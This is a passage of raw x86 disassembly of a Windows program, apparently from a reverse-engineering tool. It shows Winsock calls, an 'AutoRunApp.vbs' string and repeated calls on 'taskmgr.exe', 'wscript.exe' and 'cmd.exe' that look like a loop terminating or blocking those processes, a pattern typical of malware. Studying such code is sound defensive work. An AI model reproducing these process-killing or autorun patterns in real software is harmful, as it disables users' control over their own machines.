push dword [ebp - 0x44]
mov dword [ebp - 0x48], 0
push 0
lea eax, [ebp - 0x48]
push eax
mov dword [ebp - 0x4c], 0
push 0
lea eax, [ebp - 0x4c]
push eax
mov dword [ebp - 0x50], 0
push 0
lea eax, [ebp - 0x50]
push eax
mov dword [ebp - 0x54], 0
push 0
lea eax, [ebp - 0x54]
push eax
mov dword [ebp - 0x58], 0
push 0
lea eax, [ebp - 0x58]
push eax
mov dword [ebp - 0x5c], 0
push 0
push dword [ebp - 0x5c]
lea eax, [ebp - 0x34]
push eax
call fcn.004138dd
mov dword [ebp - 0x60], eax
mov ebx, dword [ebp - 0x34]
test ebx, ebx
je 0x426620
push ebx
call fcn.00461dbe
add esp, 4
mov ebx, dword [ebp - 0x58]
test ebx, ebx
je 0x426630
push ebx
call fcn.00461dbe
add esp, 4
mov ebx, dword [ebp - 0x54]
test ebx, ebx
je 0x426640
push ebx
call fcn.00461dbe
add esp, 4
mov ebx, dword [ebp - 0x50]
test ebx, ebx
je 0x426650
push ebx
call fcn.00461dbe
add esp, 4
mov ebx, dword [ebp - 0x4c]
test ebx, ebx
je 0x426660
push ebx
call fcn.00461dbe
add esp, 4
mov ebx, dword [ebp - 0x48]
test ebx, ebx
je 0x426670
push ebx
call fcn.00461dbe
add esp, 4
mov ebx, dword [ebp - 0x40]
test ebx, ebx
je 0x426680
push ebx
call fcn.00461dbe
add esp, 4
mov ebx, dword [ebp - 0x3c]
test ebx, ebx
je 0x426690
push ebx
call fcn.00461dbe
add esp, 4
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 0x60]
test eax, eax
jne 0x4266a3
mov eax, 0x4f1c44
push eax
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x30]
test eax, eax
jne 0x4266b7
mov eax, 0x4e9a10
push eax
push 2
mov ebx, 0x464000
call fcn.00461db8
add esp, 0x1c
mov ebx, dword [ebp - 0x30]
test ebx, ebx
je 0x4266da
push ebx
call fcn.00461dbe
add esp, 4
mov ebx, dword [ebp - 0x60]
test ebx, ebx
je 0x4266ea
push ebx
call fcn.00461dbe
add esp, 4
mov ebx, 6
call fcn.0040105b
push reloc.WS2_32.dll_getsockname
push 0
push 0x41ae47
push 3
mov eax, 3
mov ebx, 0x4c3c80
call fcn.00461dca
add esp, 0x28
mov ebx, 6
call fcn.0040105b
push reloc.WS2_32.dll_getsockname
push 0
push 0x41b1be
push 3
mov eax, 3
mov ebx, 0x4c3c80
call fcn.00461dca
add esp, 0x28
push 0x80000301
push 0
push 0xb
push 1
mov eax, 4
mov ebx, 0x4c3ee0
call fcn.00461dca
add esp, 0x10
mov dword [ebp - 0x24], eax
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 8]
test eax, eax
jne 0x42677d
mov eax, 0x4f1c44
push eax
push 1
mov ebx, 0x463d40
call fcn.00461db8
add esp, 0x10
mov dword [ebp - 0x28], eax
push 1
push 1
lea eax, [ebp - 0x28]
push eax
call fcn.0042d07b
mov dword [ebp - 0x2c], eax
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x4267b6
push ebx
call fcn.00461dbe
add esp, 4
push dword [ebp - 0x2c]
push dword [ebp - 0x24]
mov ecx, 2
call fcn.004010ce
add esp, 8
mov dword [ebp - 0x30], eax
mov ebx, dword [ebp - 0x24]
test ebx, ebx
je 0x4267dc
push ebx
call fcn.00461dbe
add esp, 4
mov ebx, dword [ebp - 0x2c]
test ebx, ebx
je 0x4267ec
push ebx
call fcn.00461dbe
add esp, 4
push 0x80000301
push 0
push 2
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x30]
test eax, eax
jne 0x42680b
mov eax, 0x4e9a10
push eax
push 2
mov ebx, 0x463f20
call fcn.00461db8
add esp, 0x1c
mov ebx, dword [ebp - 0x30]
test ebx, ebx
je 0x42682e
push ebx
call fcn.00461dbe
add esp, 4
mov ebx, 6
call fcn.0040105b
push reloc.WS2_32.dll_getsockname
push 0
push 0x41ae47
push 3
mov eax, 3
mov ebx, 0x4c3c80
call fcn.00461dca
add esp, 0x28
mov ebx, 6
call fcn.0040105b
push reloc.WS2_32.dll_getsockname
push 0
push 0x41b1be
push 3
mov eax, 3
mov ebx, 0x4c3c80
call fcn.00461dca
add esp, 0x28
push 0x80000301
push 0
push 0xb
push 1
mov eax, 4
mov ebx, 0x4c3ee0
call fcn.00461dca
add esp, 0x10
mov dword [ebp - 0x24], eax
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 8]
test eax, eax
jne 0x4268c1
mov eax, 0x4f1c44
push eax
push 1
mov ebx, 0x463d40
call fcn.00461db8
add esp, 0x10
mov dword [ebp - 0x28], eax
push 1
push 1
lea eax, [ebp - 0x28]
push eax
call fcn.0042d07b
mov dword [ebp - 0x2c], eax
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x4268fa
push ebx
call fcn.00461dbe
add esp, 4
push dword [ebp - 0x2c]
push dword [ebp - 0x24]
mov ecx, 2
call fcn.004010ce
add esp, 8
mov dword [ebp - 0x30], eax
mov ebx, dword [ebp - 0x24]
test ebx, ebx
je 0x426920
push ebx
call fcn.00461dbe
add esp, 4
mov ebx, dword [ebp - 0x2c]
test ebx, ebx
je 0x426930
push ebx
call fcn.00461dbe
add esp, 4
mov ebx, 9
call fcn.0040105b
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x30]
test eax, eax
jne 0x42694d
mov eax, 0x4e9a10
push eax
push 0
push 0
push 0
push 5
mov eax, 4
mov ebx, 0x4c3de0
call fcn.00461dca
add esp, 0x40
mov ebx, dword [ebp - 0x30]
test ebx, ebx
je 0x42697b
push ebx
call fcn.00461dbe
add esp, 4
mov ebx, 6
call fcn.0040105b
push reloc.WS2_32.dll_getsockname
push 0
push 0x41ae47
push 3
mov eax, 3
mov ebx, 0x4c3c80
call fcn.00461dca
add esp, 0x28
mov ebx, 6
call fcn.0040105b
push reloc.WS2_32.dll_getsockname
push 0
push 0x41b1be
push 3
mov eax, 3
mov ebx, 0x4c3c80
call fcn.00461dca
add esp, 0x28
push 0
mov ebx, 0x4623c0
call fcn.00461db8
add esp, 4
mov dword [ebp - 0x24], eax
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 8]
test eax, eax
jne 0x4269fd
mov eax, 0x4f1c44
push eax
push 1
mov ebx, 0x463d40
call fcn.00461db8
add esp, 0x10
mov dword [ebp - 0x28], eax
push 1
push 1
lea eax, [ebp - 0x28]
push eax
call fcn.0042d07b
mov dword [ebp - 0x2c], eax
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x426a36
push ebx
call fcn.00461dbe
add esp, 4
push dword [ebp - 0x2c]
push dword [ebp - 0x24]
mov ecx, 2
call fcn.004010ce
add esp, 8
mov dword [ebp - 0x30], eax
mov ebx, dword [ebp - 0x24]
test ebx, ebx
je 0x426a5c
push ebx
call fcn.00461dbe
add esp, 4
mov ebx, dword [ebp - 0x2c]
test ebx, ebx
je 0x426a6c
push ebx
call fcn.00461dbe
add esp, 4
push 0
push 0
push 0
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x30]
test eax, eax
jne 0x426a91
mov eax, 0x4e9a10
push eax
push 3
mov ebx, 0x462260
call fcn.00461db8
add esp, 0x28
mov ebx, dword [ebp - 0x30]
test ebx, ebx
je 0x426ab4
push ebx
call fcn.00461dbe
add esp, 4
jmp 0x42ccc7
push str.80006
push dword [ebp - 4]
call fcn.0040112a
add esp, 8
cmp eax, 0
jne 0x429386
push 0x80000301
push 0
push 0xb
push 1
mov eax, 4
mov ebx, 0x4c3ee0
call fcn.00461dca
add esp, 0x10
mov dword [ebp - 0x24], eax
push 0x4f624d
push dword [ebp - 0x24]
mov ecx, 2
call fcn.004010ce
add esp, 8
mov dword [ebp - 0x28], eax
mov ebx, dword [ebp - 0x24]
test ebx, ebx
je 0x426b20
push ebx
call fcn.00461dbe
add esp, 4
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x28]
test eax, eax
jne 0x426b33
mov eax, 0x4e9a10
push eax
push 1
mov ebx, 0x463ee0
call fcn.00461db8
add esp, 0x10
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x426b56
push ebx
call fcn.00461dbe
add esp, 4
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
push 0xa
call fcn.0040e34c
push 0x80000301
push 0
push 0xb
push 1
mov eax, 4
mov ebx, 0x4c3ee0
call fcn.00461dca
add esp, 0x10
mov dword [ebp - 0x24], eax
push 0x4f627d
push dword [ebp - 0x24]
mov ecx, 2
call fcn.004010ce
add esp, 8
mov dword [ebp - 0x28], eax
mov ebx, dword [ebp - 0x24]
test ebx, ebx
je 0x426bbc
push ebx
call fcn.00461dbe
add esp, 4
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x28]
test eax, eax
jne 0x426bcf
mov eax, 0x4e9a10
push eax
push 1
mov ebx, 0x463ee0
call fcn.00461db8
add esp, 0x10
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x426bf2
push ebx
call fcn.00461dbe
add esp, 4
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
push 0xa
call fcn.0040e34c
push 0x80000301
push 0
push 0xb
push 1
mov eax, 4
mov ebx, 0x4c3ee0
call fcn.00461dca
add esp, 0x10
mov dword [ebp - 0x24], eax
push str.AMD_a.txt
push dword [ebp - 0x24]
mov ecx, 2
call fcn.004010ce
add esp, 8
mov dword [ebp - 0x28], eax
mov ebx, dword [ebp - 0x24]
test ebx, ebx
je 0x426c58
push ebx
call fcn.00461dbe
add esp, 4
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x28]
test eax, eax
jne 0x426c6b
mov eax, 0x4e9a10
push eax
push 1
mov ebx, 0x463ee0
call fcn.00461db8
add esp, 0x10
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x426c8e
push ebx
call fcn.00461dbe
add esp, 4
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
push 0xa
call fcn.0040e34c
push 0
mov ebx, 0x4623c0
call fcn.00461db8
add esp, 4
mov dword [ebp - 0x24], eax
push str.AutoRunApp.vbs
push dword [ebp - 0x24]
mov ecx, 2
call fcn.004010ce
add esp, 8
mov dword [ebp - 0x28], eax
mov ebx, dword [ebp - 0x24]
test ebx, ebx
je 0x426ce3
push ebx
call fcn.00461dbe
add esp, 4
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x28]
test eax, eax
jne 0x426cf6
mov eax, 0x4e9a10
push eax
push 1
mov ebx, 0x463ee0
call fcn.00461db8
add esp, 0x10
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x426d19
push ebx
call fcn.00461dbe
add esp, 4
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
push 0xa
call fcn.0040e34c
push 0
mov ebx, 0x4623c0
call fcn.00461db8
add esp, 4
mov dword [ebp - 0x24], eax
push 0x4e9a11
push dword [ebp - 0x24]
mov ecx, 2
call fcn.004010ce
add esp, 8
mov dword [ebp - 0x28], eax
mov ebx, dword [ebp - 0x24]
test ebx, ebx
je 0x426d6e
push ebx
call fcn.00461dbe
add esp, 4
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x28]
test eax, eax
jne 0x426d81
mov eax, 0x4e9a10
push eax
push 1
mov ebx, 0x463ee0
call fcn.00461db8
add esp, 0x10
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x426da4
push ebx
call fcn.00461dbe
add esp, 4
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
push 0xa
call fcn.0040e34c
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
mov eax, str.taskmgr.exe
mov dword [ebp - 0x28], eax
lea eax, [ebp - 0x28]
push eax
call fcn.0040e53c
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x426deb
push ebx
call fcn.00461dbe
add esp, 4
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
push 0xa
call fcn.0040e34c
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
mov eax, str.taskmgr.exe
mov dword [ebp - 0x28], eax
lea eax, [ebp - 0x28]
push eax
call fcn.0040e53c
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x426e32
push ebx
call fcn.00461dbe
add esp, 4
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
push 0xa
call fcn.0040e34c
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
mov eax, str.wscript.exe
mov dword [ebp - 0x28], eax
lea eax, [ebp - 0x28]
push eax
call fcn.0040e53c
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x426e79
push ebx
call fcn.00461dbe
add esp, 4
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
push 0xa
call fcn.0040e34c
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
mov eax, str.wscript.exe
mov dword [ebp - 0x28], eax
lea eax, [ebp - 0x28]
push eax
call fcn.0040e53c
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x426ec0
push ebx
call fcn.00461dbe
add esp, 4
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
push 0xa
call fcn.0040e34c
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
mov eax, str.wscript.exe
mov dword [ebp - 0x28], eax
lea eax, [ebp - 0x28]
push eax
call fcn.0040e53c
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x426f07
push ebx
call fcn.00461dbe
add esp, 4
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
push 0xa
call fcn.0040e34c
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
mov eax, str.wscript.exe
mov dword [ebp - 0x28], eax
lea eax, [ebp - 0x28]
push eax
call fcn.0040e53c
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x426f4e
push ebx
call fcn.00461dbe
add esp, 4
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
push 0xa
call fcn.0040e34c
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
mov eax, str.wscript.exe
mov dword [ebp - 0x28], eax
lea eax, [ebp - 0x28]
push eax
call fcn.0040e53c
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x426f95
push ebx
call fcn.00461dbe
add esp, 4
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
push 0xa
call fcn.0040e34c
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
mov eax, str.wscript.exe
mov dword [ebp - 0x28], eax
lea eax, [ebp - 0x28]
push eax
call fcn.0040e53c
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x426fdc
push ebx
call fcn.00461dbe
add esp, 4
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
push 0xa
call fcn.0040e34c
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
mov eax, str.wscript.exe
mov dword [ebp - 0x28], eax
lea eax, [ebp - 0x28]
push eax
call fcn.0040e53c
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x427023
push ebx
call fcn.00461dbe
add esp, 4
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
push 0xa
call fcn.0040e34c
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
mov eax, str.wscript.exe
mov dword [ebp - 0x28], eax
lea eax, [ebp - 0x28]
push eax
call fcn.0040e53c
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x42706a
push ebx
call fcn.00461dbe
add esp, 4
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
push 0xa
call fcn.0040e34c
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
mov eax, str.wscript.exe
mov dword [ebp - 0x28], eax
lea eax, [ebp - 0x28]
push eax
call fcn.0040e53c
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x4270b1
push ebx
call fcn.00461dbe
add esp, 4
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
push 0xa
call fcn.0040e34c
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
mov eax, str.wscript.exe
mov dword [ebp - 0x28], eax
lea eax, [ebp - 0x28]
push eax
call fcn.0040e53c
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x4270f8
push ebx
call fcn.00461dbe
add esp, 4
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
push 0xa
call fcn.0040e34c
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
mov eax, str.wscript.exe
mov dword [ebp - 0x28], eax
lea eax, [ebp - 0x28]
push eax
call fcn.0040e53c
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x42713f
push ebx
call fcn.00461dbe
add esp, 4
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
push 0xa
call fcn.0040e34c
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
mov eax, str.wscript.exe
mov dword [ebp - 0x28], eax
lea eax, [ebp - 0x28]
push eax
call fcn.0040e53c
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x427186
push ebx
call fcn.00461dbe
add esp, 4
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
push 0xa
call fcn.0040e34c
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
mov eax, str.cmd.exe
mov dword [ebp - 0x28], eax
lea eax, [ebp - 0x28]
push eax
call fcn.0040e53c
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x4271cd
push ebx
call fcn.00461dbe
add esp, 4
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
push 0xa
call fcn.0040e34c
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
mov eax, str.cmd.exe
mov dword [ebp - 0x28], eax
lea eax, [ebp - 0x28]
push eax
call fcn.0040e53c
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x427214
push ebx
call fcn.00461dbe
add esp, 4
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
push 0xa
call fcn.0040e34c
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
mov eax, str.cmd.exe
mov dword [ebp - 0x28], eax
lea eax, [ebp - 0x28]
push eax
call fcn.0040e53c
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x42725b
push ebx
call fcn.00461dbe
add esp, 4
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
push 0xa
call fcn.0040e34c
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
mov eax, str.cmd.exe
mov dword [ebp - 0x28], eax
lea eax, [ebp - 0x28]
push eax
call fcn.0040e53c
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x4272a2
push ebx
call fcn.00461dbe
add esp, 4
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
push 0xa
call fcn.0040e34c
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
mov eax, str.cmd.exe
mov dword [ebp - 0x28], eax
lea eax, [ebp - 0x28]
push eax
call fcn.0040e53c
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x4272e9
push ebx
call fcn.00461dbe
add esp, 4
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
push 0xa
call fcn.0040e34c
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
mov eax, str.cmd.exe
mov dword [ebp - 0x28], eax
lea eax, [ebp - 0x28]
push eax
call fcn.0040e53c
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x427330
push ebx
call fcn.00461dbe
add esp, 4
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
push 0xa
call fcn.0040e34c
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
mov eax, str.cmd.exe
mov dword [ebp - 0x28], eax
lea eax, [ebp - 0x28]
push eax
call fcn.0040e53c
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x427377
push ebx
call fcn.00461dbe
add esp, 4
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
push 0xa
call fcn.0040e34c
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
mov eax, str.cmd.exe
mov dword [ebp - 0x28], eax
lea eax, [ebp - 0x28]
push eax
call fcn.0040e53c
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x4273be
push ebx
call fcn.00461dbe
add esp, 4
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
push 0xa
call fcn.0040e34c
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
mov eax, str.cmd.exe
mov dword [ebp - 0x28], eax
lea eax, [ebp - 0x28]
push eax
call fcn.0040e53c
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x427405
push ebx
call fcn.00461dbe
add esp, 4
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
push 0xa
call fcn.0040e34c
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
mov eax, str.cmd.exe
mov dword [ebp - 0x28], eax
lea eax, [ebp - 0x28]
push eax
call fcn.0040e53c
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x42744c
push ebx
call fcn.00461dbe
add esp, 4
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
push 0xa
call fcn.0040e34c
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
mov eax, str.cmd.exe
mov dword [ebp - 0x28], eax
lea eax, [ebp - 0x28]
push eax
call fcn.0040e53c
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x427493
push ebx
call fcn.00461dbe
add esp, 4
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
push 0xa
call fcn.0040e34c
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
mov eax, str.cmd.exe
mov dword [ebp - 0x28], eax
lea eax, [ebp - 0x28]
push eax
call fcn.0040e53c
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x4274da
push ebx
call fcn.00461dbe
add esp, 4
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
push 0xa
call fcn.0040e34c
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
mov eax, str.cmd.exe
mov dword [ebp - 0x28], eax
lea eax, [ebp - 0x28]
push eax
call fcn.0040e53c
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x427521
push ebx
call fcn.00461dbe
add esp, 4
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
push 0xa
call fcn.0040e34c
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
mov eax, str.cmd.exe
mov dword [ebp - 0x28], eax
lea eax, [ebp - 0x28]
push eax
call fcn.0040e53c
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x427568
push ebx
call fcn.00461dbe
add esp, 4
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
push 0xa
call fcn.0040e34c
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
mov eax, str.cmd.exe
mov dword [ebp - 0x28], eax
lea eax, [ebp - 0x28]
push eax
call fcn.0040e53c
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x4275af
push ebx
call fcn.00461dbe
add esp, 4
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
push 0xa
call fcn.0040e34c
push 0x80000301
push 0
push 0xb
push 1
mov eax, 4
mov ebx, 0x4c3ee0
call fcn.00461dca
add esp, 0x10
mov dword [ebp - 0x24], eax
push dword [0x529040]
push dword [ebp - 0x24]
push 0x4f1c2c
mov ecx, 3
call fcn.004010ce
add esp, 0xc
mov dword [ebp - 0x28], eax
mov ebx, dword [ebp - 0x24]
test ebx, ebx
je 0x42761b
push ebx
call fcn.00461dbe
add esp, 4
mov dword [ebp - 0x2c], 0
push 0
push dword [ebp - 0x2c]
push 1
lea eax, [ebp - 0x28]
push eax
call fcn.0040e53c
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x427642
push ebx
call fcn.00461dbe
add esp, 4
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
push 0x64
call fcn.0040e34c
push 0x80000301
push 0
push 0xb
push 1
mov eax, 4
mov ebx, 0x4c3ee0
call fcn.00461dca
add esp, 0x10
mov dword [ebp - 0x24], eax
push dword [0x529040]
push dword [ebp - 0x24]
push 0x4f1c2c
mov ecx, 3
call fcn.004010ce
add esp, 0xc
mov dword [ebp - 0x28], eax
mov ebx, dword [ebp - 0x24]
test ebx, ebx
je 0x4276ae
push ebx
call fcn.00461dbe
add esp, 4
mov dword [ebp - 0x2c], 0
push 0
push dword [ebp - 0x2c]
push 1
lea eax, [ebp - 0x28]
push eax
call fcn.0040e53c
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x4276d5
push ebx
call fcn.00461dbe
add esp, 4
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
push 0xa
call fcn.0040e34c
push 0x80000301
push 0
push 0xb
push 1
mov eax, 4
mov ebx, 0x4c3ee0
call fcn.00461dca
add esp, 0x10
mov dword [ebp - 0x24], eax
push dword [0x529040]
push dword [ebp - 0x24]
push 0x4f1c2c
mov ecx, 3
call fcn.004010ce
add esp, 0xc
mov dword [ebp - 0x28], eax
mov ebx, dword [ebp - 0x24]
test ebx, ebx
je 0x427741
push ebx
call fcn.00461dbe
add esp, 4
mov dword [ebp - 0x2c], 0
push 0
push dword [ebp - 0x2c]
push 1
lea eax, [ebp - 0x28]
push eax
call fcn.0040e53c
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x427768
push ebx
call fcn.00461dbe
add esp, 4
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
push 0x64
call fcn.0040e34c
push 0x80000301
push 0
push 0xb
push 1
mov eax, 4
mov ebx, 0x4c3ee0
call fcn.00461dca
add esp, 0x10
mov dword [ebp - 0x24], eax
push dword [0x529048]
push dword [ebp - 0x24]
push 0x4f1c2c
mov ecx, 3
call fcn.004010ce
add esp, 0xc
mov dword [ebp - 0x28], eax
mov ebx, dword [ebp - 0x24]
test ebx, ebx
je 0x4277d4
push ebx
call fcn.00461dbe
add esp, 4
mov dword [ebp - 0x2c], 0
push 0
push dword [ebp - 0x2c]
push 1
lea eax, [ebp - 0x28]
push eax
call fcn.0040e53c
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x4277fb
push ebx
call fcn.00461dbe
add esp, 4
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
push 0x64
call fcn.0040e34c
push 0x80000301
push 0
push 0xb
push 1
mov eax, 4
mov ebx, 0x4c3ee0
call fcn.00461dca
add esp, 0x10
mov dword [ebp - 0x24], eax
push dword [0x529048]
push dword [ebp - 0x24]
push 0x4f1c2c
mov ecx, 3
call fcn.004010ce
add esp, 0xc
mov dword [ebp - 0x28], eax
mov ebx, dword [ebp - 0x24]
test ebx, ebx
je 0x427867
push ebx
call fcn.00461dbe
add esp, 4
mov dword [ebp - 0x2c], 0
push 0
push dword [ebp - 0x2c]
push 1
lea eax, [ebp - 0x28]
push eax
call fcn.0040e53c
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x42788e
push ebx
call fcn.00461dbe
add esp, 4
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
push 0xa
call fcn.0040e34c
push 0x80000301
push 0
push 0xb
push 1
mov eax, 4
mov ebx, 0x4c3ee0
call fcn.00461dca
add esp, 0x10
mov dword [ebp - 0x24], eax
push dword [0x529044]
push dword [ebp - 0x24]
push 0x4f1c2c
mov ecx, 3
call fcn.004010ce
add esp, 0xc
mov dword [ebp - 0x28], eax
mov ebx, dword [ebp - 0x24]
test ebx, ebx
je 0x4278fa
push ebx
call fcn.00461dbe
add esp, 4
mov dword [ebp - 0x2c], 0
push 0
push dword [ebp - 0x2c]
push 1
lea eax, [ebp - 0x28]
push eax
call fcn.0040e53c
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x427921
push ebx
call fcn.00461dbe
add esp, 4
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
push 0xa
call fcn.0040e34c
push 0x80000301
push 0
push 0xb
push 1
mov eax, 4
mov ebx, 0x4c3ee0
call fcn.00461dca
add esp, 0x10
mov dword [ebp - 0x24], eax
push dword [0x529044]
push dword [ebp - 0x24]
push 0x4f1c2c
mov ecx, 3
call fcn.004010ce
add esp, 0xc
mov dword [ebp - 0x28], eax
mov ebx, dword [ebp - 0x24]
test ebx, ebx
je 0x42798d
push ebx
call fcn.00461dbe
add esp, 4
mov dword [ebp - 0x2c], 0
push 0
push dword [ebp - 0x2c]
push 1
lea eax, [ebp - 0x28]
push eax
call fcn.0040e53c
mov ebx, dword [ebp - 0x28]
